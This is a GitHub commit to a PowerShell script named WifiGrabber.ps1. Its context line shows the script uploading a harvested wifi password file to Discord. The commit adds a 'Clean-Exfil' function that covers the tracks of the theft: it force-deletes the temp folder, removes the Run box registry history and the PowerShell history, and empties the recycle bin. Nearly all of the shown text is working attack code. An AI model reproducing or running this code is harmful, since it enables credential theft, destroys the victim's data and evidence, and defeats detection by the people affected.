Update WifiGrabber.ps1

This commit is contained in:
I-Am-Jakoby 2023-01-03 22:47:43 -06:00 committed by GitHub
parent d4d7f59273
commit f321268754
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -62,5 +62,25 @@ if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:TEMP/--wifi-
############################################################################################################################################################
function Clean-Exfil {
# empty temp folder
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
# delete run box history
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f -ErrorAction SilentlyContinue
# Delete powershell history
Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
# Empty recycle bin
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
}
############################################################################################################################################################
if (-not ([string]::IsNullOrEmpty($ce))){Clean-Exfil}
RI $env:TEMP/--wifi-pass.txt